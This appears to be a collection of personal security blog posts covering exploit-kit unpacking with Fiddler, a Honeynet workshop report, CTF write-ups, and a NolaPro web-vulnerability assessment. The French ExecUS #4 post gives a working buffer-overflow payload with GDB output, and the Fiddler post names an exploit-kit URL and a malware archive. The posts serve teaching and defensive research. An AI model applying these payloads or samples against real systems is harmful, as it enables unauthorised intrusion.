vendredi 3 mai 2013

Unpacking exploit kits with Fiddler

Most exploit kits use javascript packing to avoid the code appearing in plain text. Figure 1 shows an example of such a packed script. Multiple techniques and tools exist to help in the task of unpacking and analyzing these kits, for example Kahu Security has many articles on his blog about this. This post presents a quick and dirty method I have been using a lot recently; it uses Fiddler and its AutoResponder feature. The idea is to modify the Javascript code and then replay the HTTP traffic in the browser. If you want to try this technique, here is the Fiddler HTTP archive I used as an example (archive password is "infected").

Figure 1 Packed Blackhole Exploit kit
The first step involves capturing the kit with Fiddler. Then activate the AutoResponder feature as shown in Figure 2. Next drag the sessions corresponding the kit traffic in the AutoResponder panel. In this example  this is the first session.

Figure 2 Enabling AutoResponder
Next edit the session, you can use the context menu or just press Enter.


Figure 3 Editing the response

Now I want to modify the script to be able to see the unpacked code so I open the Syntax View tab. This part is different from one pack to another and you might need multiple attempts to figure out the best way to do it. In this example the pack is Blackhole, there is an eval statement at the end very end that executes the script after it is unpacked.I use console.log to get the content, so I replace w(c) by console.log(c) and hit Save.

Figure 4 Deciding what to modify

Next I open Google Chrome (make sure it is configured to use Fiddle as a proxy), open the Developer Console with F12 and click on the Console tab. I then browse to the pack URL, in this example http://energirans.net/main.php?page=598991e7306ac07e (you can use Ctrl+U to copy the URL from a session). If all went well the unpacked code should appear in the logs.

Figure 5 unpacked script in the logs
Another neat feature of Fiddler is the code beautifier. I copy the script from the log, replace the original script in the SyntaxView and click on Format Script/JSON. The code is now well formatted and ready for analysis.You can find the unpacked code here. Note that this is an old version of Blackhole v1 from February 2012 but the technique still works today.

Figure 6 Format Javascript code


Figure 7 Formatted Blackhole code

This is a quick and dirty technique and could easily be defeated but it works with many packs. If you have any question leave a comment or email me at ekse.0x@gmail.com.








mercredi 30 mars 2011

Honeynet Workshop 2011

Note : This is a cross-post from the Corelan Team blog.

Introduction

March 21th I was in Paris for the annual Honeynet Workshop. For the first time this year there was a conference day accessible to the general public. Moreover, I didn't have to pay the registration fee since I successfully completed one of the Honeynet Forensics challenges. The day was split in 4 sessions and had talks covering the Honeynet projects, malware, and ethical and legal considerations of tracking botnets and eventual take-downs.

There was also a CTF taking place during the day so I didn't take as much notes as I wanted, this is also  why I will not be covering all the talks in this article.
All the slides are available here : http://www.honeynet.org/node/626


R&D in Honeynet Project by David Watson

P1000761The first talk presented some of the current Honeynet projects. Through the years the Honeynet Project has been a major player in the domain of botnet tracking with the release of numerous open-source honeypots and articles on the subject.
Hopefully, projects are still very active in part with the help of the Google Summer of Code for which the Honeynet Project is a mentoring organization. By the way, if you are a full-time university student and would like to be paid to work on some kickass open-source software, the Honeynet project was selected again this year and the application period starts March 28th.

As a quick reminder, an important concept with honeypots is the distinction between high-interaction and low-interaction honeypots.
Low-interaction means that the honeypot is not relying on the original system but is emulating it. High-interaction honeypots usually are implemented as addons, for example through a kernel module, that tracks the internal changes to the system.

Both approaches have their advantages, low-interaction is usually safer since it is emulating the system being attacked and is thus not vulnerable to the flaws in that system. It usually scales better since it is emulating only the parts needed and thus requires less resources, as opposed to high-interaction
honeypots that often require a complete virtual machine.
On the other side, high-interaction honeypots are better at discovering unknown flaws (0days).  Depending on the complexity of the target system, the implementation of a high-interaction honeypot might take less time than writing an emulation stack for it.

The first project presented by David was Dionanea, a low-interaction honeypot that aims to replace Nepenthes which is a popular Honeynet software. The fact that is it using Python makes it easier to extend than Nepenthes which was written in C++. It is integrating libemu for automated shellcode detection. Also, it has a SQL interface which make it easier to query the results as opposed to parsing the log files.

The second project David talked about is Sebek. It is a high-interaction honeypot which integrates in the kernel of Windows. It currently uses SSDT hooking for tracing which is a technique used by rootkits (proof that techniques and knowledge is not malicious by itself).

David mentioned they want to change the hooking to inline kernel modifications to make it stealthier. The replacement version of this project is called Qebek it uses QEMU and relies on breakpoint to monitor events, making it possible for example to see the keystrokes on the system as they happen. I don't know if the authors of this software are aware of the fact that the project name sounds a lot like Québec which is the state where I come from (and also the name of a project which you will learn about in the upcoming weeks/months, stay tuned!).

Another Honeynet project is Capture-HPC which is a client-side honeypot (ie browsers) that uses VMware. The fact that it relies on virtual machines make it hard to scale. That's where PhoneyC comes in. It is written in Python and supports personalities to modify the behaviour of the browser. It uses Spidermonkey as the Javascript engine and also has support to mock ActiveX controls. It also uses libemu like Dionanea for shellcode detection. Later during the day Angelo Dell'Aera, the author of the software, mentioned that he is actually working to switch to the V8 javascript engine (the one used in Chrome) since Spidermonkey has a very limited API which makes it hard to extend.

Finally, Glastopf is a web honeypot that emulates a web server and is useful to detect vulnerabilities like RFI, LFI, SQL injection. The author of the project Lukas Rist did a little live demonstration of his tool running on one of his webservers and we could see attacks coming in every few seconds.
As you can see there are a lot of great honeypots being developed by the Honeynet project, make sure you have a look at them.



Efficient Analysis of Malicious Bytecode Linespeed Shellcode Detection and Fast Sandboxing by Georg 'oxff' Wicherski

In this talk, Georg presented a shellcode detection library he designed and explained some its inner working. He started with a quick overview of what shellcodes are and how they are made position-independent via a GetPC sequence.

Apart from the traditional call-pop sequence which is the standard one, he also mentioned the use of floating point instructions, namely fnop and fnstenv to get the current address, a technique I wasn't aware of.

Georg then explained the differences between two current approaches for shellcode detection, namely statistical methods and pattern matching. Statistical methods rely on the likelihood of a sequence of instructions to exist in or outside shellcode, kind of like bayesian filters work to detect spam. This method requires training and is also false negative and false positive prone.

For these reasons, Georg preferred to implement a method based on GetPC sequence identification and then emulation of the instructions preceding the GetPC sequence to remove false positives.

Georg implemented this in a library named libscizzle. It uses libemu for emulation. Since one of the project goals was performance, It also uses sandboxed hardware execution to make it faster.

Georg mentioned that he successfully used this library in CTFs (Defcon, RuCTFe). The library is available for download here in the form of a pre-compiled shared object (Unix DLL equivalent) some header files and a little test application, the source code is not available.


High Performance Packet Sniffing by Tillmann Werner

In this talk Tillman explained the design and the need for two tools he wrote : multicap and streams.

multicap is a tool to do high-performance packet sniffing to avoid dropped packets. To increase performance, Tillman used a ring-buffer to reduce memory allocations. He also used the PF_PACKET socket which has the advantage of already including the timestamp in the packet, removing the need to call the localtime() function for every packet. Finally multicap uses memory-mapped files to dump the packets which should increase performance. Tillman did a quick demo of his tool. A comparison of the performance with existing tools like tcpdump and dumpcap would have been nice.

The second tool is streams. It does TCP stream reassembly for a packet trace (pcap file), in a similar way to the "Reassemble TCP Stream" feature of Wireshark. multicap is interactive and makes it possible to filter or search the streams.

Both tools are open-source and available here :


Basics of Honeyclients by Angelo Dell'Aera and Christian Seifert

This talk was dealing with two complementary subjects : the rise of client-side attacks and the tools developed by the Honeynet project to detect those attacks. As I already talked a bit about PhoneyC and Capture-HPC in the first section of this article, I will focus mostly on the second part of the talk.

Since a couple of years already there is a shift in attacks to client-side applications (browsers, Flash, Adobe Reader, Java etc.). Keeping client applications and all associated plugins up to date is a challenge for a lot of users and entreprises and as Christian mentioned, client applications are driven by end-users which remain the weakest-link of the security chain.

The talk then explained how cyber-criminals are using the web to distribute malware via Malware Distribution Networks. Christian presented a diagram taken from Microsoft Security Intelligence Threat report which I found really interesting.
mdn
Source: Microsoft Security Intelligence Threat Report (http://www.microsoft.com/sir)

The attacks generally use multiple layers of servers.
The first one consists of compromised web servers (often via unpatched vulnerabilities in popular applications) which links to another server, most of the time via injected iframes.  That second server, known as the redirector, will embed or redirect to another server which contains an exploit kit. If one of the exploit succeeds, it will download and install some malware from yet another server.

Generally a lot of infected sites point to the same exploit server, the quantity of traffic diverted to them determines their effectiveness. Having multiple legitimate servers linking to a redirector also increase it's ranking in search engines and can be further increased via SEO campaigns.


Microsoft estimates that 2.8% of exploit servers are responsible for 84% of drive-by-download. What is particularly noteworthy is the fact that the infection links usually remain active for only a few days or even hours; by the time the links are flagged as malicious by lists such as Google SafeBrowsing or McAfee SiteAdvisor they are often already inactive. This also makes the task harder for security companies to retrieve the malicious content. The use of Javascript obfuscation is further complicating the task of researchers.



Spy VS Spy : Countering SpyEye with SpyEye by Lance James

The last talk of the day dealt with SpyEye, a botnet kit which generated a lot of buzz lately since it is supposedly merging with ZeuS.

SpyEye is a kit cyber-criminals can buy for around 1000 to 3000 US$. It is customizable and comes with modules to steal credit card numbers and credentials via formgrabbing in browsers, harvesting of credentials for FTP, POP etc. ... in summary it's pretty nasty. It also comes with a web panel where crooks can see the bots they are controlling and the information they gathered.


Lance then explained that in the current version, a lot of files on the C&C server are world-readable via the AJAX interface, including debug logs, configuration files and SQL backups. When connecting via the web panel a password is requested, an although Lance had the password from the SQL backup it would be illegal for him to connect in the USA. However, it is possible to connect a local SpyEye instance to a remote server (proxy mode) with no authentication whatsoever. Another advantage of this technique is that the botnet information is updated in the web panel in real-time. Pretty neat :)

Lance also presented statistics regarding the botnet he tracked. It was discovered in October 2010 and infected 28,590 unique computers. When you consider the quantity of information that was probably stolen during such a short period of time and the potential economical gain, it is not hard to understand why cybercrime is so popular.

The question of laws and ethics also came in this talk. Lance repeated numerous time that we are at a point where "Defense is dead" and we need to gain visibility. There is an increase in aggressive attacks on big companies, government and even security firms (think HBGary). The threat is growing exponentially and diversifying into politically oriented stuff. Other attendees joined the discussion and there was evident frustration and discontent with the fact that researchers need to combat adversaries that have no respect of the laws and ethic principles and stay for most of them out of reach of the legal system, while the researchers need to subject themselves to high standard of ethics (especially with regards to privacy) and evaluate their every moves to make sure they are not putting themselves in legal trouble.

I really had a good time attending the Honeynet Workshop, it was great to have a glimpse of the Honeynet Project from the inside.

lundi 8 novembre 2010

Solution ExecUS #4 du Hackfest 2010

Ce weekend se tenait le Hackfest 2010 à Québec et le samedi soir son traditionnel concours de sécurité. Notre équipe a terminé en 2e place, félicitations à nos bons amis d'Amish Security qui l'ont emporté haut la main.

NOTE: j'utilise ici une version recompilée du binaire, les adresses qui apparaissent dans cette solution ne sont probablement pas les mêmes que celles du binaire original. Si vous voulez l'essayer sur un Linux récent, assurez vous de désactiver le mode SSP :

gcc -fno-stack-protector -o execus4 execus4.c 

Cet article présente la solution de l'épreuve ExecUS #4, dont voici le code :



 Le programme ouvre le fichier flag.txt (j'ai changé le nom mais le principe reste le même) contenant le flag et le copie dans /dev/null. Le fichier flag.txt  n'est pas accessible directement, mais le binaire est configuré avec le bit SGID et le groupe y a accès en lecture.

À la ligne 27, on observe un cas de buffer overflow très standard puisque la taille de argv[1] ne fait l'objet d'aucune vérification au préalable.

strcpy(buf, argv[1]);

En observant l'ordre de déclaration des variables, il est probable que la variable ofd puisse être écrasée, ce que nous pouvons vérifier désassemblant le code :

 804856a:    e8 41 fe ff ff           call   80483b0 <open@plt>
 804856f:    89 84 24 28 01 00 00     mov    %eax,0x128(%esp)
 8048576:    c7 44 24 04 01 00 00     movl   $0x1,0x4(%esp)
 804857d:    00
 804857e:    8d 44 24 1a              lea    0x1a(%esp),%eax
 8048582:    89 04 24                 mov    %eax,(%esp)
 8048585:    e8 26 fe ff ff           call   80483b0 <open@plt>
 804858a:    89 84 24 24 01 00 00     mov    %eax,0x124(%esp)
 8048591:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048594:    83 c0 04                 add    $0x4,%eax
 8048597:    8b 00                    mov    (%eax),%eax
 8048599:    89 44 24 04              mov    %eax,0x4(%esp)
 804859d:    8d 44 24 24              lea    0x24(%esp),%eax
 80485a1:    89 04 24                 mov    %eax,(%esp)
 80485a4:    e8 57 fe ff ff           call   8048400 <strcpy@plt>

Comme on peut le voir, le résultat du 2e appel à open qui ouvre /dev/null en écriture est écrit à ESP+0x124 (ofd) et l'adresse à laquelle strcpy écrit (buf) est ESP+0x24. La variable ofd est donc situé 0x100 octets après buf, Convertit en décimal l'espace est de 256 octets, ce qui correspond à la longueur de buf.

On peut donc écraser ofd, mais en quoi celà peut nous être est utile ? Pour le comprendre, il faut se référer au fonctionnement d'UNIX. La variable ofd contient ce qu'on appelle un descripteur de fichier qui est un index dans la table des fichiers ouverts par le processus. Pour tous les processus, le système d'exploitation crée les descripteurs spéciaux suivants :

Entrée standard (stdin)  : 0
Sortie standard (stdout) : 1
Sortie d'erreur (stderr) : 2

La solution est maintenant évidente, il suffit d'écraser ofd avec la valeur 1 pour que la clef soit écrite sur la sortie standard et apparaisse à l'écran. Nous allons construire une chaine constituée de 256 caractères pour remplir buf et de la valeur 1 pour écraser ofd.  On peut passer cette valeur en paramètre à GDB en utilisant la commande suivante :

run $(ruby -e 'print "A" * 256 + "\x01"')

On peut vérifier le bon fonctionnement de notre exploit à l'aide de GDB. On commence par mettre un breakpoint juste avant l'appel à strcpy pour examiner la valeur de ofd.

(gdb) b *0x080485a4
Punto de interrupción 1 at 0x804858a: file execus4.c, line 25.
(gdb) run $(ruby -e 'print "A" * 256 + "\x01"')
Starting program: /home/ekse/code/execus4 $(ruby -e 'print "A" * 256 + "\x01"')
Dev null is an awesome 100% compression ratio, secure, backup device.

Breakpoint 1, 0x080485a4 in main (argc=2, argv=0xbffff3b4)
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000006

La valeur de ofd est actuellement 0x06. Le listing suivant montre que la valeur est bien écrasée par notre overflow.

(gdb) nexti
(gdb) x/65x $esp+0x24
0xbffff1f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff204:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff214:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff224:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff234:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff244:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff254:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff264:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff274:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff284:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff294:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f4:    0x00000001
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000001

Maintenant que nous savons que notre exploit est fonctionnel, il suffit de lancer le binaire directement pour obtenir le flag (je n'ai malheureusement pas sauvegardé le flag original) .

ekse@eclipse:~/code$ ./execus4 $(ruby -e 'print "A" * 256 + "\x01"')
Dev null is an awesome 100% compression ratio, secure, backup device.
ALLGLORYTOTHEHYPNOTOAD


Un mot sur SSP

Le binaire utilisé lors de la compétition n'était pas compilé avec les mécanismes de sécurité tel que SSP pour facilité la solution. L'utilisation de SSP permet de bloquer cette avenue d'exploitation. Ce n'est pas toutefois pas par l'utilisation du canari (qui faisait d'ailleurs l'objet d'une très bonne présentation par Paul Rascagneres au Hackfest) puisque nous ne cherchons pas à écraser l'adresse de retour. 

La mitigation vient plutôt du fait que SSP réorganise les variables sur la stack pour placer les tableaux après les variables de taille fixe. Le listing suivant montre le même code présenté plus haut mais lorsque le mode SSP est activé :

 80485f5:    e8 fa fd ff ff           call   80483f4 <open@plt>
 80485fa:    89 44 24 30              mov    %eax,0x30(%esp)
 80485fe:    c7 44 24 04 01 00 00     movl   $0x1,0x4(%esp)
 8048605:    00
 8048606:    8d 84 24 39 01 00 00     lea    0x139(%esp),%eax
 804860d:    89 04 24                 mov    %eax,(%esp)
 8048610:    e8 df fd ff ff           call   80483f4 <open@plt>
 8048615:    89 44 24 34              mov    %eax,0x34(%esp)
 8048619:    8b 44 24 1c              mov    0x1c(%esp),%eax
 804861d:    83 c0 04                 add    $0x4,%eax
 8048620:    8b 00                    mov    (%eax),%eax
 8048622:    89 44 24 04              mov    %eax,0x4(%esp)
 8048626:    8d 44 24 39              lea    0x39(%esp),%eax
 804862a:    89 04 24                 mov    %eax,(%esp)
 804862d:    e8 12 fe ff ff           call   8048444 <strcpy@plt>
 

Comme on peut le voir, la variable ofd se trouve à ESP+0x34 et buf commence à ESP+0x39. On ne peut donc plus écraser ofd.

mardi 25 mai 2010

Defcon Quals - Binary 200 writeup

This is a writeup on how to solve Binary 200 from the Defcon quals that were held this weekend.

In Binary 200, you were provided with an ELF binary. The first step is to determine what OS this binary was supposed to run on. A cursory look with an hex editor let you know that the binary is for Haiku OS, the open-source decedent of the now defunct BeOS.

We thus proceeded to download a VMware image from the official website and transferred the binary on it. The hardest part of the challenge was to figure out how to get a damn terminal on Haiku (click on the feather at the top to get the application menu). We then launched the binary and ... it crashed. Hopefully, Haiku came with gdb and it even offered a menu to debug the crashed application.


As can be seen on the image, the executable crashes in the pre_init() function while doing some pre-execution stuff. We could try and figure out what the problem is but we don't really care, we just want to program to run. Disassembling it with objdump, we see a symbol _start() which looks like our program entry point. In gdb, we jump to it using the command jump _start (yeah, that simple).


We then get an url taking us to a very weird video involving donkeys and people from Columbia (and definitely NSFW) that will leave you somewhat.. speechless. The key was "Asses of the Caribbean".

samedi 1 mai 2010

Additional details on NolaPro vulnerabilities (CORELAN-10-035)

I released an advisory today concerning some web vulnerabilities in NolaPro, a free accounting application based on PHP/MySQL. In this blog post, I'll provide some insights on how I found the flaws. Those are fairly simple bugs so don't expect anything really ground-breaking; if you're a web application security specialist, you can safely spare yourself this reading. Otherwise, keep on reading :-)

Phase 1 : Target identification

The first step to assess an application is to install it in a testing environment and understand the way it works. NolaPro comes with an installer that bundles its own LAMP stack which makes it really simple to deploy. NolaPro also uses ionCube, a PHP code obfuscator. The php files look like this :


A source code review is not possible without first reversing the code or performing an analysis on the PHP bytecode. For this assessment, I preferred to use scanning since it would probably be easier and faster.


Phase 2 : Verification of Authentication

To access information in NolaPro, you first need to provide a valid user name and password. If you try to access a page directly without being logged in, you will be redirected to the login page. A common problem is that developers forget to verify the credentials on some pages of the web application : This is risk #8 (Failure to Restrict URL Access) of the OWASP Top 10. In PHP, this is most of the time done by including a PHP script that does this verification at the beginning of each php file. Using grep, files that don't perform the include can be easily spotted and reviewed manually. However in our case, this approach is not possible. We will thus need to request every page and see if it returns the login page or not.

Slight problem, NolaPro consists of about 860 files, so browsing each manually would be really long (and boring). I automated this approach by writing a little ruby script that given a list of filenames, requests each of them and prints the size of the returned page. My first approach was to perform the MD5 sum of each page but some code is changing on the login page every time you consult it, so the sums were all different.



When executing the script, we obtain an output similar to this :
Page: accounts.php
 Code: Net::HTTPOK Length: 2
Page: action_addupdate.php
 Code: Net::HTTPOK Length: 6853
Page: adminachdownload.php
 Code: Net::HTTPOK Length: 6846
Page: adminapccvendoradd.php
 Code: Net::HTTPOK Length: 6855
Page: adminapccvendorupd.php
 Code: Net::HTTPOK Length: 6855
Page: adminapchkacctadd.php
 Code: Net::HTTPOK Length: 6860
Page: adminapchkacctupd.php
 Code: Net::HTTPOK Length: 6858
Page: adminapglacct.php
 Code: Net::HTTPOK Length: 6850
Page: adminapgroupsadd.php
 Code: Net::HTTPOK Length: 6853
Page: adminapgroupsupd.php
 Code: Net::HTTPOK Length: 6853
Page: adminapilog.php
 Code: Net::HTTPOK Length: 6848
Page: adminapilogdata.php
 Code: Net::HTTPOK Length: 33
Page: adminappaytermsadd.php
 Code: Net::HTTPOK Length: 6859
Page: adminappaytermsupd.php
 Code: Net::HTTPOK Length: 6859

As we can see, most pages return a length around 6850 bytes. However, in this output, we see 2 clear outliers : accounts.php with a length of 2 and adminapilogdata.php. I then manually reviewed each of those pages (about 15) and found an interesting one : checkfile.php. This script takes a php script name and returns some information about the variables. However, we can use it to verify if some files exist on the system. For example, this is the output obtained when we input C:\boot.ini.


In comparison, passing an invalid path will result in the following output :


The warning is due to the fact that I enabled them on my system to make scanning more effective and wouldn't normally appear. However, we see that the script writes No pude! when the file does not exist. While we can't read the content of files, this could be used by an attacker to precisely identify the environment he is attacking.


Phase 3 : Some more scanning


Our first tests revealed that the application has some problems, so there are good chances it contains common flaws like cross-site scripting, command execution or injection. Enter w3af. w3af is an open-source web application scanning tool that provides modules for a lot of tests, of which a full list is available here : http://w3af.sourceforge.net/plugin-descriptions.php. w3af is designed to be easy to use and while it has some stability issues it is quite effective.


However, if we simply point w3af to our Nolapro installation and launch it, the scan finishes in a few seconds. The reason is simple : since w3af is not logged-in, it can't access any pages other than the login form. To perform the scan, we will enable the SpiderMan module. SpiderMan is a proxy which will log our requests to the server. See http://securityaudit.blogspot.com/2009/09/using-w3af-for-testing-web-application.html for a detailled explanation on how to use it. Basically, we will configure our browser to use the proxy and log in the application and navigate the pages. w3af will intercept the cookie provided by the web application and use it for its tests.

w3af found 3 XSS flaws, 1 command execution and 1 potential SQL injection. Manual review revealed the XSS and SQL flaws were indeed present (the command execution seems to be a false positive).

 
Conclusion


With this assessment, we saw that completely automated scans are bound to miss interesting flaws; however, we can use automated tests to do a lot of repetitive and simple tasks and perform verification of common flaws with minimal manual testing. In the context of a complete assessment, manual testing time would be better spent in the verification of logic flaws that are difficultly automated but nonetheless very important to check for. Using the proverbial formula, this is left as an exercise to the reader, at least until a next blog post :-)

I want to end by thanking Noguska for their great response and providing a patched version in a couple of days. Thanks also to Corelan Team for being such a great group to be part of.

mardi 24 novembre 2009

FAIL@Microsoft

Ce matin je voulais tester l'outil de révision de code CAT.NET de Microsoft. Pendant l'installation de .NET Framework 4.0 Beta 2, j'ai obtenu la fenêtre suivante :



Le texte de la licence doit faire une vingtaine de page et est affiché dans un fente d'à peine 1 pouce de hauteur. Si Microsoft veut que l'on accepte ses licences sans les lire, aussi bien nous le dire directement.

Plus tard, je télécharge Web Application Configuration Analyzer (WACA), un autre outil de Microsoft. J'obtiens la page suivante :
 


Je crois qu'une relecture du point 6 du Top 10 OWASP s'impose...

vendredi 13 novembre 2009

Présentation sur le fuzzing et les tests d'intrusions

Le 7 novembre dernier, je faisais une présentation avec mon collègue Éric Gingras au Hackfest 2009. Notre présentation portait sur le fuzzing et les tests d'intrusion. Elle est maintenant disponible en téléchargement.